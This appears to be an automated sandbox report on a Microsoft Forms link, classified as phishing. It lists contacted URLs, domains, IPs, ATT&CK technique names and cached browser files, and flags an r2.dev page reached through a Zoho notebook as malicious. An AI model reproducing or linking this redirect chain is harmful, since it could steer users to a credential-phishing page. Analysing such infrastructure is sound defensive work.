Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Extra Window Memory Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://forms.office.com/e/UGN9kJGkPb	0%	Avira URL Cloud	safe

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://c.office.com/c.gif?ctsa=mr&CtsSyncId=3D9B1A8382CC4D91882D138B2E2F52E3&MUID=38A4EA9411BD6D8826F0FF4215BD6601	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/consolidated_files/initial_load.js	0%	Avira URL Cloud	safe
https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.lrp_post.boot.5a4aa08.js	0%	Avira URL Cloud	safe
https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.lrp_ext.24a3c2f.js	0%	Avira URL Cloud	safe
https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.lrp_cover.6fd2646.js	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/notes/index.css	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/bower_components/lyte/custom-elements-es5-adapter.js	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8b	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/bower_components/lyte/polyfill-bundle.js	0%	Avira URL Cloud	safe
https://forms.office.com/cdn/scripts/dists/light-response-page.min.51bd76c.js	0%	Avira URL Cloud	safe
https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.lrp_saveresponse.24ff7fd.js	0%	Avira URL Cloud	safe
https://forms.office.com/sw.js?ring=Business	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/bower_components/lyte/lyte-es5.min.js	0%	Avira URL Cloud	safe
https://forms.cloud.microsoft/muid.gif?muid=38A4EA9411BD6D8826F0FF4215BD6601	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/consolidated_files/css/initial_load_css.css	0%	Avira URL Cloud	safe
https://c.office.com/c.gif	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/vendor/jquery/jquery-2.0.3.min.js	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/vendor/waveSurfer/wavesurfer.min.js	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/vendor/bootstrap/css/bootstrap.min.css	0%	Avira URL Cloud	safe
https://forms.office.com/pwa/en-us/app.webmanifest	0%	Avira URL Cloud	safe
https://forms.office.com/offline.aspx	0%	Avira URL Cloud	safe
https://cdn.forms.office.net/images/pwa/forms-pwa-logo-192.png	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/favicon.ico	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/icon-assets/public-icn-refresh.png	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/icon-assets/icn-flag-abuse.png	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/icon-assets/notebook-icon.png	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/consolidated_files/public_notecard.js	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/api/v1/public/notecards/4tlqc3f816817c7c1468c9db5fb543f497f8b/resources/4tlqcdd304f1c054a40ac8cfdadaec0e2604b	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/api/v1/public/notecards/4tlqc3f816817c7c1468c9db5fb543f497f8b/details	0%	Avira URL Cloud	safe
https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/MLLOC.html	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/public/icon-assets/sprite-icn-note-options.png	0%	Avira URL Cloud	safe
https://notebook.zohopublic.com/api/v1/public/notecards/4tlqc3f816817c7c1468c9db5fb543f497f8b	0%	Avira URL Cloud	safe
https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
a1894.dscms.akamai.net	23.220.73.79	true	false		unknown
b-0039.b-msedge.net	13.107.6.194	true	false		unknown
pub-28a12700d4f7494a819553d19a1c20f0.r2.dev	162.159.140.237	true	true		unknown
code.jquery.com	151.101.130.137	true	false		high
cdnjs.cloudflare.com	104.17.25.14	true	false		high
github.com	140.82.113.4	true	false		high
c-msn-pme.trafficmanager.net	20.125.62.241	true	false		high
www.google.com	142.250.69.4	true	false		high
s-part-0043.t-0009.t-msedge.net	13.107.246.71	true	false		high
ax-0001.ax-msedge.net	150.171.28.10	true	false		high
objects.githubusercontent.com	185.199.109.133	true	false		high
zpublic.zohopublic.com	204.141.42.97	true	false		high
forms.office.com	unknown	unknown	false		high
forms.cloud.microsoft	unknown	unknown	false		high
c.office.com	unknown	unknown	false		high
cdn.forms.office.net	unknown	unknown	false		high
notebook.zohopublic.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/favicon.ico	false	Avira URL Cloud: safe	unknown
https://notebook.zohopublic.com/public/favicon.ico	false	Avira URL Cloud: safe	unknown
https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.utel.fa097bf.js	false		high
https://forms.office.com/cdn/images/microsoft365logo_v1.png	false		high
https://c.office.com/c.gif?ctsa=mr&CtsSyncId=3D9B1A8382CC4D91882D138B2E2F52E3&MUID=38A4EA9411BD6D8826F0FF4215BD6601	false	Avira URL Cloud: safe	unknown
https://notebook.zohopublic.com/public/icon-assets/icn-flag-abuse.png	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://notebook.zohopublic.com/public/consolidated_files/initial_load.js	false	Avira URL Cloud: safe	unknown
https://notebook.zohopublic.com/public/icon-assets/notebook-icon.png	false	Avira URL Cloud: safe	unknown
https://forms.office.com/e/UGN9kJGkPb	false		unknown
https://notebook.zohopublic.com/public/bower_components/lyte/custom-elements-es5-adapter.js	false	Avira URL Cloud: safe	unknown
https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8b	false	Avira URL Cloud: safe	unknown
https://notebook.zohopublic.com/public/icon-assets/public-icn-refresh.png	false	Avira URL Cloud: safe	unknown
https://forms.office.com/cdn/scripts/dists/light-response-page.min.51bd76c.js	false	Avira URL Cloud: safe	unknown
https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.lrp_ext.24a3c2f.js	false	Avira URL Cloud: safe	unknown
https://notebook.zohopublic.com/api/v1/public/notecards/4tlqc3f816817c7c1468c9db5fb543f497f8b/resources/4tlqcdd304f1c054a40ac8cfdadaec0e2604b	false	Avira URL Cloud: safe	unknown
https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.lrp_post.boot.5a4aa08.js	false	Avira URL Cloud: safe	unknown
https://notebook.zohopublic.com/public/consolidated_files/public_notecard.js	false	Avira URL Cloud: safe	unknown
https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.lrp_cover.6fd2646.js	false	Avira URL Cloud: safe	unknown
https://notebook.zohopublic.com/public/bower_components/lyte/polyfill-bundle.js	false	Avira URL Cloud: safe	unknown
https://forms.office.com/cdn/scripts/dists/dll-dompurify.min.ea88d58.js	false		high
https://notebook.zohopublic.com/public/notes/index.css	false	Avira URL Cloud: safe	unknown
https://forms.office.com/pages/responsepage.aspx?id=6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u&route=shorturl	false		unknown
https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.lrp_saveresponse.24ff7fd.js	false	Avira URL Cloud: safe	unknown
https://notebook.zohopublic.com/public/icon-assets/sprite-icn-note-options.png	false	Avira URL Cloud: safe	unknown
https://forms.office.com/sw.js?ring=Business	false	Avira URL Cloud: safe	unknown
https://notebook.zohopublic.com/public/bower_components/lyte/lyte-es5.min.js	false	Avira URL Cloud: safe	unknown
https://forms.cloud.microsoft/muid.gif?muid=38A4EA9411BD6D8826F0FF4215BD6601	false	Avira URL Cloud: safe	unknown
https://forms.office.com/cdn/scripts/dists/ls-response.en-us.b26195a5d.js	false		high
https://notebook.zohopublic.com/public/vendor/jquery/jquery-2.0.3.min.js	false	Avira URL Cloud: safe	unknown
https://notebook.zohopublic.com/public/consolidated_files/css/initial_load_css.css	false	Avira URL Cloud: safe	unknown
https://notebook.zohopublic.com/public/vendor/bootstrap/css/bootstrap.min.css	false	Avira URL Cloud: safe	unknown
https://notebook.zohopublic.com/public/vendor/waveSurfer/wavesurfer.min.js	false	Avira URL Cloud: safe	unknown
https://notebook.zohopublic.com/api/v1/public/notecards/4tlqc3f816817c7c1468c9db5fb543f497f8b/details	false	Avira URL Cloud: safe	unknown
https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.sw.a912249.js	false		high
https://c.office.com/c.gif	false	Avira URL Cloud: safe	unknown
https://forms.office.com/cdn/images/favicon.ico	false		high
https://notebook.zohopublic.com/api/v1/public/notecards/4tlqc3f816817c7c1468c9db5fb543f497f8b	false	Avira URL Cloud: safe	unknown
https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/MLLOC.html	true	Avira URL Cloud: safe	unknown
https://forms.office.com/pwa/en-us/app.webmanifest	false	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE	false		high
https://forms.office.com/offline.aspx	false	Avira URL Cloud: safe	unknown
https://cdn.forms.office.net/images/pwa/forms-pwa-logo-192.png	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
140.82.113.4	github.com	United States		36459	GITHUBUS	false
142.250.68.234	unknown	United States		15169	GOOGLEUS	false
20.125.62.241	c-msn-pme.trafficmanager.net	United States		8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.140.237	pub-28a12700d4f7494a819553d19a1c20f0.r2.dev	United States		13335	CLOUDFLARENETUS	true
13.107.6.194	b-0039.b-msedge.net	United States		8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.251.2.84	unknown	United States		15169	GOOGLEUS	false
142.250.68.238	unknown	United States		15169	GOOGLEUS	false
142.250.69.14	unknown	United States		15169	GOOGLEUS	false
151.101.130.137	code.jquery.com	United States		54113	FASTLYUS	false
185.199.109.133	objects.githubusercontent.com	Netherlands		54113	FASTLYUS	false
150.171.28.10	ax-0001.ax-msedge.net	United States		8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.220.73.79	a1894.dscms.akamai.net	United States		13489	EPMTelecomunicacionesSAESPCO	false
23.220.73.78	unknown	United States		13489	EPMTelecomunicacionesSAESPCO	false
142.250.69.3	unknown	United States		15169	GOOGLEUS	false
142.250.69.4	www.google.com	United States		15169	GOOGLEUS	false
1.1.1.1	unknown	Australia		13335	CLOUDFLARENETUS	false
192.178.49.170	unknown	United States		15169	GOOGLEUS	false
192.178.49.195	unknown	United States		15169	GOOGLEUS	false
13.107.246.71	s-part-0043.t-0009.t-msedge.net	United States		8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.68.227	unknown	United States		15169	GOOGLEUS	false
204.141.42.97	zpublic.zohopublic.com	United States		2639	ZOHO-ASUS	false
20.50.80.214	unknown	United States		8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.17.25.14	cdnjs.cloudflare.com	United States		13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.7
192.168.2.4
192.168.2.6

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1670933
Start date and time:	2025-04-22 11:00:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://forms.office.com/e/UGN9kJGkPb
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.evad.win@24/38@32/237

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.69.14, 142.250.68.227, 142.251.2.84
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, redirector.gvt1.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://forms.office.com/e/UGN9kJGkPb

Created / dropped Files

Chrome Cache Entry: 100

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	76
Entropy (8bit):	4.480772743393611
Encrypted:	false
SSDEEP:
MD5:	DD582438842BFEC5738763B362892E9B
SHA1:	253A5936BF86383740481633CEEF867953E4F3A4
SHA-256:	F790C80F83D44B46144F1EEEB28AC596CADC36BBA1249D1C2D2B8C132AAA92DE
SHA-512:	00073DBC41DBCA191A0F81F30FB35791F25F04A26D43B12F4DFB592E38E8C08E74B30842F86B66C41E76E0353AECD5F065B75FA387B71521FE1D7394483575FD
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhI8Cf6Y3HO9ceetEgUNzyMq_xIFDcWTxCQSBQ2JpWfLEgUNwxk5kBIFDYmlZ8sSBQ3DGTmQIVX1zGQmSFHN?alt=proto
Preview:	CjYKBw3PIyr/GgAKBw3Fk8QkGgAKBw2JpWfLGgAKBw3DGTmQGgAKBw2JpWfLGgAKBw3DGTmQGgA=

Chrome Cache Entry: 102

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 270
Category:	downloaded
Size (bytes):	190
Entropy (8bit):	6.864386660871438
Encrypted:	false
SSDEEP:
MD5:	AE9FBF7DA7492B12D4A3E8E016661379
SHA1:	4348F5D88E575FFA9CA6DF4326DB86CBFE437252
SHA-256:	3E1AA58732ED06C27F36460506AE841719F7D873AB6215F6A29ACE2144EFED32
SHA-512:	D1D28CC62F8E7E91C274719013D5AE695D1E3E45F7BEF1D4CFDECEC936C6C961427B2E40C317E381158D9F063DDE96310641352A481DEBC8C9CB06E4316A6647
Malicious:	false
Reputation:	unknown
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/close_790189870c9543725dc3f5a15fb25e46.svg
Preview:	..........u....0.._e.W.u#b0...7..-A .a<...7.&...O..tl}.C0.....1F.K>.P.(..X..r......m..m....d.J..&O.m..,.-6.g{..[......`A4zj...k.OEUHUH.K..E.ib..e...#/.."...$...1.3..'.....7.7"......

Chrome Cache Entry: 104

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (5844), with CRLF line terminators
Category:	downloaded
Size (bytes):	7914
Entropy (8bit):	4.4735908000780045
Encrypted:	false
SSDEEP:
MD5:	56F9CD8A07135E776326431C8560F8F2
SHA1:	FCFF27C475A9FB014661B045B59C8BB4799A0392
SHA-256:	0E1D105D6EE902B7279AEFD9E8AF21AB3E5D0CF058332A2A0E53A351524C75E6
SHA-512:	E75E2B65828CDE51CA880AEE30A74A3EE04B25B0FC0D2AF5B4BB675B62B592CF12D284771A0CE0A8174295F93C4D9007DA5C407C65229456EC0F1A18A6C8EE28
Malicious:	false
Reputation:	unknown
URL:	https://forms.office.com/offline.aspx
Preview:	<!DOCTYPE html>....<html xmlns="http://www.w3.org/1999/xhtml" lang="en-us">..<head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />.. <title>Microsoft Forms</title>.. <style>.. * {.. box-sizing: border-box;.. }.... body {.. height: 100vh;.. margin: 0 auto;.. background-color: #f3f2f1;.. font-family: "Segoe UI", "Segoe UI Web (West European)", "Segoe UI", -apple-system, BlinkMacSystemFont, Roboto, "Helvetica Neue", sans-serif;.. }.... .content-root {.. height: 100%;.. display: flex;.. align-items: center;.. justify-content: center;.. padding: 20px;.. }.... .offline-message {.. max-width: 600px;.. }.... .offline-title {.. font-size: 32px;.. line-height: 40px;.. margin-top: 24px;.. }...

Chrome Cache Entry: 107

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	28970
Entropy (8bit):	5.321027795039132
Encrypted:	false
SSDEEP:
MD5:	AE347B3B73C1D17A01C73F85D371B72A
SHA1:	09B67AB34DE77E0097E372AD0E7A6A32DF376010
SHA-256:	CD323E9A86B8011E1ACC6CDC731F54393F01A80C5D6CBF7F7B36FFE476D5F5F7
SHA-512:	B2B611E11DC22B67C1F2F1F93545A8B7A9B3BDD497AF64EDC2A78B769F53C55B3254AFD4DFB068096200B7BBEA0560E4D283DE3FEA56A95B2D82ED2731880A68
Malicious:	false
Reputation:	unknown
URL:	"https://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700,800"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 300;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSKmu1aB.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 300;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSumu1aB.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Open Sans';. font-style: normal;. font-weight: 300;. font-stretch: 100%;. src: url(https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSOmu1aB.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Open Sans';. font-style: normal;

Chrome Cache Entry: 108

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (520)
Category:	downloaded
Size (bytes):	3312
Entropy (8bit):	5.28003831938709
Encrypted:	false
SSDEEP:
MD5:	CED78CC4FE0C27E11D8737E15376ECF0
SHA1:	11389D972F671FB9FFD2D26567733959316184C1
SHA-256:	7D3117ADC759ECFE99AB91BD27C78EF9BF1BA7977E80E883A5AB59CF408388CB
SHA-512:	32D8773B53D3851236143CE8A2362E4D4C7E586FFD60D306F6DA2A10B41A9061F8548276BCE67C646DB8AA68AEBB2D32B42E8EAC5A64F8C22D3F043CB17E79A9
Malicious:	false
Reputation:	unknown
URL:	https://notebook.zohopublic.com/public/notes/4tlqc3f816817c7c1468c9db5fb543f497f8b
Preview:	<!DOCTYPE html>.<html><head><meta charset="utf-8"/><meta name="viewport" content="initial-scale=1" /><meta http-equiv="X-UA-Compatible" content="IE=11;IE12;IE=edge" /><link rel="icon" href="/public/favicon.ico" type="image/x-icon" /><link href="https://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700,800" rel="stylesheet"><link href="https://fonts.googleapis.com/css?family=Lato:400,700" rel="stylesheet"><title>Notebook</title><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> Common CSS file -->. <link rel="stylesheet" type="text/css" href="/public/index.css"><link rel="stylesheet" type="text/css" href="/public/vendor/bootstrap/css/bootstrap.min.css"><link rel="stylesheet" type="text/css" href="/public/consolidated_files/css/initial_load_css.css">-->. Common CSS file -->.<style>.body {.font-family: 'Puvi';.background-color: #F7F7F7.}.@font-face {.font-family:"Puvi";.font-style:normal;.src: url('https://static.zohocdn.com/zohofonts/zohopuvi/4.

Chrome Cache Entry: 109

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 490 x 180, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5895
Entropy (8bit):	7.720248605671278
Encrypted:	false
SSDEEP:
MD5:	311274C8C9C66E894F5AFA51FACD72CD
SHA1:	386D1FA0B2924DF2C21545CF2FF1DDE2CD985D33
SHA-256:	BC3C029408DAB6B5CB676B990B2E21BDD474E4B2E45DAF87E70210539390BF49
SHA-512:	2117BC16AC878BCC307CEA0DEFA0638800715330E83E9C8C1CAD7398BBF207E9432391B851E004308FB75C20C2D6F587D015FA3FB13F8630FE3E0C7E194979FC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............[.o.....IDATx......U.....xi.#..l.%3J.t.D\If5h.......>.Ft.....].8f..A...(../....D..1b.%.9:1y.LD.3...~Y....?..........(.s....~.nh........................................................................................................................................................................@...6`.W.....z.m..z....@.:.`..e.agn..w[-..}O.L...Gf.h.V....Wlu......n.....ek...z...Z...lu..AMP..@P...........&... ..j..AMP..@P..............3f.X).K._.J..+....d...5A.t..c._...R6K.2....@P.6A=}...'O...WZ[[{....;~..w[..7.x9.....uR~-.....7GB..0a..e?.........S...R&.<..X.2..r..}.>.hii.]......Q.N.iL..]..>y.r.\.."..U.g..A......K....'....q.LP..o..O..-.l...{....{)...+.....\N...9...P.d..+....B.[.Z..d.....e>...#i~%D.8Y&.E...L..M.+..OX..J1...\|.do&......9..+8.[......ady...P_.....m.....mA-.P...A......a.e.zW.w..EnbIX.3.j.....k....[..Y...q[.r4...xY.....+w.g....Sk\#F..;9&.....4....f...I.'X....n.r.$.APw.P.A....M..8=..).0_.h./...b.....g......e.S...

Chrome Cache Entry: 110

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	unknown
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 111

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 112

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 268
Category:	dropped
Size (bytes):	212
Entropy (8bit):	6.892082645537822
Encrypted:	false
SSDEEP:
MD5:	A454145E295493362D21BBD2C0681505
SHA1:	B1811BBE70070D200C413B105FCB6DEE77D3BB8C
SHA-256:	34BA4E54107E71C7BF7FE7F5820AE4B76E8EF39022C1BE88D439799619F117AB
SHA-512:	49AD111C0A0E159C7B8D3500252BEB87401CBAC006FBE16B47290C388D2947E87F195743F5A84669BA09B5ABCA0ED8FABACA3E0FD88BDED5BE6067A17CEF8E83
Malicious:	false
Reputation:	unknown
Preview:	..........u.1o.!.....+...TpC...5C........V../.S........<F..Ns.<......j.r......8..B)pt....D..../....C...2M.?...x.).._...;OS..2G.z.;Sb.....5.u'.6......h.;Ys....~m#.A........4.........../..a.5s}...I.vC....

Chrome Cache Entry: 113

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	unknown
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 114

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (43703)
Category:	downloaded
Size (bytes):	43869
Entropy (8bit):	5.335509477963998
Encrypted:	false
SSDEEP:
MD5:	A85D658FF0CBD62DF9618C30088ECB9D
SHA1:	DF8006FEE096DD943A5CC6FFF725BFC51B2F6493
SHA-256:	2374CE566E5719390B6A32AD36AB4A4C3B4F4C7853397EFEA70D15CAF42C5B46
SHA-512:	096F134835DD4FB10E2D53140252531F9360F87334F7123BCE15E3487F1238E0A96CB152A2C76EC2890F7FADD8102917611EB8E307134058EBDC66D878C26E9A
Malicious:	false
Reputation:	unknown
URL:	https://forms.office.com/sw.js?ring=Business
Preview:	!function(){"use strict";var e={124:function(){try{self["workbox:core:6.1.0"]&&_()}catch(e){}},390:function(){try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},568:function(){try{self["workbox:core:6.4.0"]&&_()}catch(e){}},639:function(){try{self["workbox:navigation-preload:6.1.0"]&&_()}catch(e){}},695:function(){try{self["workbox:routing:6.1.0"]&&_()}catch(e){}},818:function(){try{self["workbox:strategies:6.1.0"]&&_()}catch(e){}}},t={};function n(r){var s=t[r];if(void 0!==s)return s.exports;var o=t[r]={exports:{}};return e[r](o,o.exports,n),o.exports}n(124);n(639);function r(){return Boolean(self.registration&&self.registration.navigationPreload)}const s=(e,...t)=>{let n=e;return t.length>0&&(n+=` :: ${JSON.stringify(t)}`),n};class o extends Error{constructor(e,t){super(s(e,t)),this.name=e,this.details=t}}const a={googleAnalytics:"googleAnalytics",precache:"precache-v2",prefix:"workbox",runtime:"runtime",suffix:"undefined"!=typeof 